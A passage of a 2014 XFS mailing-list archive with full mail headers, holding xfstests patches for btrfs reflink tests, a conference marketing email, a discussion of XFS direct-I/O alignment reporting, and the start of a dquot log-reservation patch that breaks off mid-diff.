[141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0HAfuEO021752 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jan 2014 10:41:56 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0HAft1N014076 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 17 Jan 2014 10:41:55 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s0HAfsDM001727; Fri, 17 Jan 2014 10:41:54 GMT Received: from koen-obi.uk.oracle.com (/10.175.35.51) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 17 Jan 2014 02:41:54 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit , Eric Sandeen Subject: [PATCH RESEND] xfstests: btrfs/029: moving and deleting sparse copies on btrfs Date: Fri, 17 Jan 2014 11:41:08 +0100 X-ASG-Orig-Subj: [PATCH RESEND] xfstests: btrfs/029: moving and deleting sparse copies on btrfs Message-Id: <1389955268-27021-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1389955317 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144175 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Moving and deleting cloned ("reflinked") files on btrfs: - Create a file and a reflink - Move both to a directory - Delete the original (moved) file, check that the copy still exists. [sandeen: mostly cosmetic changes] Signed-off-by: Koen De Wit Signed-off-by: Eric Sandeen --- Originally submitted as test 299, btrfs/310 The functions _require_cp_reflink() and _verify_reflink() in common/rc have been submitted with btrfs/027 diff --git a/tests/btrfs/029 b/tests/btrfs/029 new file mode 100644 index 0000000..7740d8f --- /dev/null +++ b/tests/btrfs/029 @@ -0,0 +1,81 @@ +#! /bin/bash +# FS QA Test No. 029 +# +# Moving and deleting cloned ("reflinked") files on btrfs: +# - Create a file and a reflink +# - Move both to a directory +# - Delete the original (moved) file, check that the copy still exists. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_xfs_io_fiemap +_require_cp_reflink + +rm -f $seqres.full + +TESTDIR1=$TEST_DIR/test-$seq +rm -rf $TESTDIR1 +mkdir $TESTDIR1 + +echo "Create the original files and reflink dirs" +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $TESTDIR1/original \ + >> $seqres.full +cp --reflink $TESTDIR1/original $TESTDIR1/copy + +_verify_reflink $TESTDIR1/original $TESTDIR1/copy + +echo "Move orig & reflink copy to subdir and md5sum:" +mkdir $TESTDIR1/subdir +mv $TESTDIR1/original $TESTDIR1/subdir/original_moved +mv $TESTDIR1/copy $TESTDIR1/subdir/copy_moved +_verify_reflink $TESTDIR1/subdir/original_moved \ + $TESTDIR1/subdir/copy_moved + +md5sum $TESTDIR1/subdir/original_moved | _filter_test_dir +md5sum $TESTDIR1/subdir/copy_moved | _filter_test_dir + +echo "remove orig from subdir and md5sum reflink copy:" +rm $TESTDIR1/subdir/original_moved +md5sum $TESTDIR1/subdir/copy_moved | _filter_test_dir +rm -rf $TESTDIR1/subdir + +# success, all done +status=0 +exit diff --git a/tests/btrfs/029.out b/tests/btrfs/029.out new file mode 100644 index 0000000..94e5808 --- /dev/null +++ b/tests/btrfs/029.out @@ -0,0 +1,7 @@ +QA output created by 029 +Create the original files and reflink dirs +Move orig & reflink copy to subdir and md5sum: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-029/subdir/original_moved +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-029/subdir/copy_moved +remove orig from subdir and md5sum reflink copy: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-029/subdir/copy_moved diff --git a/tests/btrfs/group b/tests/btrfs/group index 372585d..9fcd15d 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -28,3 +28,4 @@ 023 auto 024 auto quick 028 auto quick +029 auto quick -- 1.7.1 From koen.de.wit@oracle.com Fri Jan 17 07:03:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 676D37F51 for ; Fri, 17 Jan 2014 07:03:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 359CC304064 for ; Fri, 17 Jan 2014 05:03:06 -0800 (PST) X-ASG-Debug-ID: 1389963784-04cbb04167e549d0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 8iAkgkB5e8zK5LQz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 05:03:04 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0HD33be003402 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 17 Jan 2014 13:03:03 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s0HD32AQ023679 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Fri, 17 Jan 2014 13:03:03 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0HD32hZ024965; Fri, 17 Jan 2014 13:03:02 GMT Received: from koen-obi.uk.oracle.com (/10.175.35.51) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 17 Jan 2014 05:03:01 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit , Eric Sandeen Subject: [PATCH RESEND] xfstests: btrfs/030: sparse copy between different filesystems/mountpoints Date: Fri, 17 Jan 2014 14:02:57 +0100 X-ASG-Orig-Subj: [PATCH RESEND] xfstests: btrfs/030: sparse copy between different filesystems/mountpoints Message-Id: <1389963777-29051-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1389963784 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144179 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Check if creating a sparse copy ("reflink") of a file on btrfs expectedly fails when it's done between different filesystems or different mount points of the same filesystem. For both situations, these actions are executed: - Copy a file with the reflink=auto option. A normal copy should be created. - Copy a file with the reflink=always option. Should result in error. [sandeen: mostly cosmetic changes] Signed-off-by: Koen De Wit Signed-off-by: Eric Sandeen --- Originally submitted as test 301, btrfs/311 The functions _require_cp_reflink() and _verify_reflink() in common/rc have been submitted with btrfs/027 diff --git a/tests/btrfs/030 b/tests/btrfs/030 new file mode 100644 index 0000000..7bbc89a --- /dev/null +++ b/tests/btrfs/030 @@ -0,0 +1,108 @@ +#! /bin/bash +# FS QA Test No. 030 +# +# Check if creating a sparse copy ("reflink") of a file on btrfs +# expectedly fails when it's done between different filesystems or +# different mount points of the same filesystem. +# +# For both situations, these actions are executed: +# - Copy a file with the reflink=auto option. +# A normal copy should be created. +# - Copy a file with the reflink=always option. Should result in +# error. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + umount $SCRATCH_MNT &>/dev/null + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_scratch +_require_cp_reflink + +SOURCE_DIR=$TEST_DIR/test-$seq +CROSS_DEV_DIR=$SCRATCH_MNT/test-$seq +# mount point & target for twice-mounted device +TEST_DIR2=$TEST_DIR/mount2 +DUAL_MOUNT_DIR=$SCRATCH_MNT/test-bis-$seq + +rm -rf $SOURCE_DIR +mkdir $SOURCE_DIR + +rm -f $seqres.full + +_scratch_mkfs +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $SOURCE_DIR/original \ + >> $seqres.full + +_filter_testdirs() +{ + _filter_test_dir | _filter_scratch +} + +_create_reflinks_to() +{ + # auto reflink, should fall back to non-reflink + rm -rf $1; mkdir $1 + echo "reflink=auto:" + cp --reflink=auto $SOURCE_DIR/original $1/copy + md5sum $SOURCE_DIR/original | _filter_testdirs + md5sum $1/copy | _filter_testdirs + + # always reflink, should fail outright + rm -rf $1; mkdir $1 + echo "reflink=always:" + cp --reflink=always $SOURCE_DIR/original $1/copyfail \ + 2>&1 | _filter_testdirs + + # The failed target actually gets created by cp: + ls $1/copyfail | _filter_testdirs +} + +echo "test reflinks across different devices" +_scratch_mount +_create_reflinks_to $CROSS_DEV_DIR +_scratch_unmount + +echo "test reflinks across different mountpoints of same device" +mount $TEST_DEV $SCRATCH_MNT || _fail "Couldn't double-mount $TEST_DEV" +_create_reflinks_to $DUAL_MOUNT_DIR +umount $SCRATCH_MNT + +# success, all done +status=0 +exit diff --git a/tests/btrfs/030.out b/tests/btrfs/030.out new file mode 100644 index 0000000..923a6e1 --- /dev/null +++ b/tests/btrfs/030.out @@ -0,0 +1,15 @@ +QA output created by 030 +test reflinks across different devices +reflink=auto: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-030/original +42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-030/copy +reflink=always: +cp: failed to clone 'SCRATCH_MNT/test-030/copyfail': Invalid cross-device link +SCRATCH_MNT/test-030/copyfail +test reflinks across different mountpoints of same device +reflink=auto: +42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-030/original +42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-bis-030/copy +reflink=always: +cp: failed to clone 'SCRATCH_MNT/test-bis-030/copyfail': Invalid cross-device link +SCRATCH_MNT/test-bis-030/copyfail diff --git a/tests/btrfs/group b/tests/btrfs/group index 87e7bca..9231f7b 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -27,3 +27,4 @@ 022 auto 023 auto 024 auto quick +030 auto quick -- 1.7.1 From nde_1899697805.4@informz.net Fri Jan 17 09:26:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EE1E67F53 for ; Fri, 17 Jan 2014 09:26:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B0189304051 for ; Fri, 17 Jan 2014 07:26:30 -0800 (PST) X-ASG-Debug-ID: 1389972387-04bdf00fe07651a0001-NocioJ Received: from mx-aiag.informz.net (mx-aiag.informz.net [66.192.112.58]) by cuda.sgi.com with ESMTP id JN3y2LIggf0HTUrP for ; Fri, 17 Jan 2014 07:26:27 -0800 (PST) X-Barracuda-Envelope-From: nde_1899697805.4@informz.net X-Barracuda-Apparent-Source-IP: 66.192.112.58 Received: from alb-mta32-01.informz.net (10.187.10.171) by mx-aiag.informz.net id hr55q616jac4 for ; Fri, 17 Jan 2014 10:23:43 -0500 (envelope-from ) X-Receiver: X-Sender: Date: Fri, 17 Jan 2014 15:14:07 -0000 From: "AIAG" Reply-To: aiagmarketing@aiag.org Subject: 2 weeks left for early pricing! AIAG's Supply Chain Summit - Disruption and Recovery - Be Prepared! To: xfs@oss.sgi.com X-ASG-Orig-Subj: 2 weeks left for early pricing! AIAG's Supply Chain Summit - Disruption and Recovery - Be Prepared! Message-ID: <1899697805.4@informz.net> List-Unsubscribe: X-IADB-IP: 66.192.112.58 X-IADB-IP-REVERSE: 58.112.192.66 X-IADB-URL: http://www.isipp.com/iadb.php MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="MzY5OTQ5MTg5NDM3Mjg2MDQxNDcxNDUwMzE4NDUwMzMxMTc2OTE1MjIyODU4Mjc" X-Barracuda-Connect: mx-aiag.informz.net[66.192.112.58] X-Barracuda-Start-Time: 1389972387 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144182 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --MzY5OTQ5MTg5NDM3Mjg2MDQxNDcxNDUwMzE4NDUwMzMxMTc2OTE1MjIyODU4Mjc Content-Type: text/plain;charset=UTF-8 If this email does not display properly, please view our online version ( http://aiag.informz.net/InformzDataService/OnlineVersion/Individual?mailingInstanceId=3747458&subscriberId=1025181995 ) . http://www.aiag.org %%LOC(Date)%% Register by January 31st and save!! Do you have a plan in place for when there is a disruption in your organization’s supply chain process? Take advantage of the opportunity to discuss issues, updates and solutions surrounding supply chain disruption and recovery with industry experts, featuring keynote speaker Dr. David E. Cole, chairman of AutoHarvest. Sessions will focus on handling disruption, contingency planning, risk management, supplier visibility, and technology. Don’t miss out on this opportunity to learn about the topics that are critical to your organization’s survival during the unavoidable supply chain disruptions that occur in the automotive industry! Sponsors: WHEN: Tuesday, March 18, 2014 WHERE: Laurel Manor Banquet & Conference Center 39000 Schoolcraft Livonia, MI 48150 REGISTRATION: Early Registration Deadline: 1/31/14 [ http://www.aiag.org/source/Meetings/cMeetingFunctionDetail.cfm?section=orders&product_major=E14SUPPLY&functionstartdisplayrow=1&mtype=spec ] http://www.aiag.org SEND THIS EMAIL TO A FRIEND ( http://aiag.informz.net/aiag/SendToFriend.asp?brandid=4002&email=xfs@oss.sgi.com&mfqid=13428262&mi=3747458&l=1&returnUrl=http://www.aiag.org ) To unsubscribe from all future emails from AIAG, click here ( http://www.aiag.org/staticcontent/actionline/index.cfm ) . To ensure receipt of our email messages, please add aiagmarketing@informz.net ( mailto:aiagmarketing@informz.net ) to your address book. Powered by Informz for iMIS http://pod4.informz.net/clk/red8.asp?u=1025181995&mi=3747458&l=1 --MzY5OTQ5MTg5NDM3Mjg2MDQxNDcxNDUwMzE4NDUwMzMxMTc2OTE1MjIyODU4Mjc Content-Type: text/html;charset=UTF-8 2 weeks left for early pricing! AIAG's Supply Chain Summit - Disruption and Recovery - Be Prepared!

If this email does not display properly, please view our online version.

January 17, 2014     


Register by January 31st and save!!

Do you have a plan in place for when there is a disruption in your
organization’s supply chain process?

Take advantage of the opportunity to discuss issues, updates and
solutions surrounding supply chain disruption and recovery with
industry experts, featuring keynote speaker Dr. David E. Cole, chairman
of AutoHarvest.

Sessions will focus on handling disruption, contingency planning, risk
management, supplier visibility, and technology.

Don’t miss out on this opportunity to learn about the topics that are
critical to your organization’s survival during the unavoidable supply
chain disruptions that occur in the automotive industry!
 


Sponsors:

WHEN:
Tuesday, March 18, 2014

WHERE:
Laurel Manor Banquet
& Conference Center
39000 Schoolcraft
Livonia, MI 48150

REGISTRATION:

Early Registration Deadline:
1/31/14

This email was sent by AIAG
26200 Lahser Road, Suite 200
l Southfield, Michigan 48033
Phone: 248.358.3003
l Fax: 248.358.3253 l Web: www.aiag.org l Email: Memberinfo@aiag.org 

facebook linkedin twitter

 

Unsubscribe
If you wish not to receive future product updates and bulletins from AIAG please click here to opt-out.

To ensure receipt of our email messages, please add aiagmarketing@informz.net to your address book.


Informz for iMIS
--MzY5OTQ5MTg5NDM3Mjg2MDQxNDcxNDUwMzE4NDUwMzMxMTc2OTE1MjIyODU4Mjc-- From sandeen@sandeen.net Fri Jan 17 11:35:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 859377F6A for ; Fri, 17 Jan 2014 11:35:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5EADD8F8054 for ; Fri, 17 Jan 2014 09:34:59 -0800 (PST) X-ASG-Debug-ID: 1389980097-04cb6c537ce4f4b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Zee2GtUBCCAF30i0 for ; Fri, 17 Jan 2014 09:34:58 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 39AB563BEBCB; Fri, 17 Jan 2014 11:34:57 -0600 (CST) Message-ID: <52D969E2.7030308@sandeen.net> Date: Fri, 17 Jan 2014 11:35:30 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size References: <52D6CC91.6000408@redhat.com> <20140115223848.GZ3469@dastard> <52D71115.1070309@sandeen.net> <20140116232132.GT3431@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size In-Reply-To: <20140116232132.GT3431@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389980097 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144185 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/16/14, 5:21 PM, Dave Chinner wrote: > On Wed, Jan 15, 2014 at 04:52:05PM -0600, Eric Sandeen wrote: >> On 1/15/14, 4:38 PM, Dave Chinner wrote: >>> On Wed, Jan 15, 2014 at 11:59:45AM -0600, Eric Sandeen wrote: >>>> diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c >>>> index 33ad9a7..1f3431f 100644 >>>> --- a/fs/xfs/xfs_ioctl.c >>>> +++ b/fs/xfs/xfs_ioctl.c >>>> @@ -1587,7 +1587,12 @@ xfs_file_ioctl( >>>> XFS_IS_REALTIME_INODE(ip) ? >>>> mp->m_rtdev_targp : mp->m_ddev_targp; >>>> >>>> - da.d_mem = da.d_miniosz = 1 << target->bt_sshift; >>>> + /* >>>> + * Report device physical sector size as "optimal" minimum, >>>> + * unless blocksize is smaller than that. >>>> + */ >>>> + da.d_miniosz = min(target->bt_pssize, target->bt_bsize); >>> >>> Just grab the filesysetm block size from the xfs_mount: >>> >>> da.d_miniosz = min(target->bt_pssize, mp->m_sb.sb_blocksize); >>> >>>> + da.d_mem = da.d_miniosz; >>> >>> I'd suggest that this should be PAGE_SIZE - it's for memory buffer >>> alignment, not IO alignment, so using the IO alignment just seems >>> wrong to me... >> >> Ok. Was just sticking close to what we had before. >> >> So: >> da.d_miniosz = min(target->bt_pssize, mp->m_sb.sb_blocksize); >> da.d_mem = PAGE_SIZE; >> >> ? Then we can have a minimum IO size of 512, and a memory alignment of >> 4k, isn't that a little odd? >> >> (IOWs we could do 512-aligned memory before, right? What's the downside, >> or the value in changing it now?) > > We can do arbitrary byte aligned buffers if I understand > get_user_pages() correctly - it just maps the page under the buffer > into the kernel address space and then the bio is pointed at it. > AFAICT, the reason for the "memory buffer needs 512 byte alignment" > is simply that this is the minimum IO size supported. Actually, it's fs/direct-io.c which enforces this (not sure why I couldn't find that before), in do_blockdev_direct_IO(); the *enforced* minimum memory alignment is the size of the bev's logical block size. > However, for large IOs, 512 byte alignment is not really optimal. If > we don't align the buffer to PAGE_SIZE, then we have partial head > and tail pages, so for a 512k IO we need to map 129 pages into a bio > instead of 128. When you have hardware that can only handle 128 > segments in a DMA transfer, that means the 512k IO needs to be sent > in two IOs rather than one. Ok, but I have a bit of a problem with changing what XFS_IOC_DIOINFO reports. (I had originally thought to change the minimum IO size, but I have talked myself out of that, too). The xfsctl(3) manpage says that XFS_IOC_DIOINFO: "Get(s) information required to perform direct I/O on the specified file descriptor." and "the users data buffer must conform to the same type of constraints as required for accessing a raw disk partition." IOWs, the ioctl is documented as returning minimum, not optimal, requirements, and it has always been implemented as such. Changing its meaning now seems wrong. At least, I would not like to do so as part of this functional change; to do so would probably be best in a new ioctl which reports both minimum & optimal sizes. And at that point we should just do a vfs interface. :) Of course, applications don't have to use the minimum sizes reported by the ioctl; they are free to be smarter and do larger sizes and alignments. But if the ioctl was designed and documented to report required *minimums*, I think we should leave it as such. I'm going to resend the change, split up a bit more to separate cleanups from functional changes, and maybe we can discuss the ioctl change as a potential additional patch. Thanks, -Eric > There's quite a bit of hardware out there that have a limit of 128 > segments to each IO.... > > Cheers, > > Dave. > From bfoster@redhat.com Fri Jan 17 12:02:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A9E577F6B for ; Fri, 17 Jan 2014 12:02:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 828CC304071 for ; Fri, 17 Jan 2014 10:02:06 -0800 (PST) X-ASG-Debug-ID: 1389981725-04cb6c5b3194be0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id klvHz74doefhHF94 for ; Fri, 17 Jan 2014 10:02:05 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0HI24mn024712 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 17 Jan 2014 13:02:05 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0HI24MW005495 for ; Fri, 17 Jan 2014 13:02:04 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2AD4D12509A; Fri, 17 Jan 2014 13:02:03 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc Date: Fri, 17 Jan 2014 13:02:03 -0500 X-ASG-Orig-Subj: [PATCH] xfs: use tr_qm_dqalloc log reservation for dquot alloc Message-Id: <1389981723-54311-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389981725 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The dquot allocation path in xfs_qm_dqread() currently uses the attribute set log reservation, which appears to be incorrect. We have reports of transaction reservation overruns with the current code. E.g., a repeated run of xfstests test generic/270 on a 512b block size fs occassionally produces the following in dmesg: XFS (sdN): xlog_write: reservation summary: trans type = QM_DQALLOC (30) unit res = 7080 bytes current res = -632 bytes total reg = 0 bytes (o/flow = 0 bytes) ophdrs = 0 (ophdr space = 0 bytes) ophdr + reg = 0 bytes num regions = 0 XFS (sdN): xlog_write: reservation ran out. Need to up reservation The dquot allocation case should consist of a write reservation (i.e., we are allocating a range of the internal quota file) plus the size of the actual dquots. We already have a log reservation definition for this operation (tr_qm_dqalloc). Use it in xfs_qm_dqread() and update the log reservation calculation function to use the write res. calculation function rather than reading the assumed to be pre-calculated value directly. Signed-off-by: Brian Foster --- Hi all, This issue was reported here: https://bugzilla.redhat.com/show_bug.cgi?id=1052787 ... and the patch seems to address the reservation overrun from my testing. It also runs through an xfstests regression. Thanks. Brian fs/xfs/xfs_dquot.c | 2 +- fs/xfs/xfs_trans_resv.c | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 6b1e695..06280c6 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -614,7 +614,7 @@ xfs_qm_dqread( if (flags & XFS_QMOPT_DQALLOC) { tp = xfs_trans_alloc(mp, XFS_TRANS_QM_DQALLOC); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_attrsetm, + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_dqalloc, XFS_QM_DQALLOC_SPACE_RES(mp), 0); if (error) goto error1; diff --git 